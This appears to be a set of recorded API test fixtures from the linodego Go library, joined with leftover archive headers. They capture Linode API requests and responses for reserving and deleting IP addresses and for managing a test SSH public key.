https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "66.175.209.108", "gateway": "66.175.209.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-175-209-108.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "66.175.209.141", "gateway": "66.175.209.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-175-209-141.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"reserved":true,"region":"us-east"}' url: https://api.linode.com/v4beta/networking/ips?page=1 method: GET response: body: '{"page": 1, "pages": 1, "results": 2, "data": [{"address": "66.175.209.108", "gateway": "66.175.209.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-175-209-108.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}, {"address": "66.175.209.141", "gateway": "66.175.209.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-175-209-141.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "579" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/66.175.209.108 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/66.175.209.141 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestReservedIPAddresses_ReserveIPVariants.yaml000066400000000000000000000235321474652371000355400ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":""}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"errors": [{"reason": "region is not valid", "field": "region"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "66" Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:20 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"us"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"errors": [{"reason": "region is not valid", "field": "region"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "66" Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:20 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":""}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"errors": [{"reason": "region is not valid", "field": "region"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "66" Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:20 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "69.164.208.243", "gateway": "69.164.208.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "69-164-208-243.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "45.79.130.88", "gateway": "45.79.130.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-130-88.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "259" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/69.164.208.243 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/45.79.130.88 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestSSHKey_GetFound.yaml000066400000000000000000000133271474652371000312170ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","ssh_key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys method: POST response: body: '{"id": 451621, "label": "go-test-def", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "479" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/451621 method: GET response: body: '{"id": 451621, "label": "go-test-def", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "479" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/451621 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestSSHKey_GetMissing.yaml000066400000000000000000000022071474652371000315500ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/123 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:50 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestSSHKey_Update.yaml000066400000000000000000000133231474652371000307220ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","ssh_key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys method: POST response: body: '{"id": 451622, "label": "go-test-def", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "479" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def_r"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/451622 method: PUT response: body: '{"id": 451622, "label": "go-test-def_r", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "481" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/451622 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestSSHKeys_List.yaml000066400000000000000000000134161474652371000306010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","ssh_key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys method: POST response: body: '{"id": 451623, "label": "go-test-def", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "479" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' 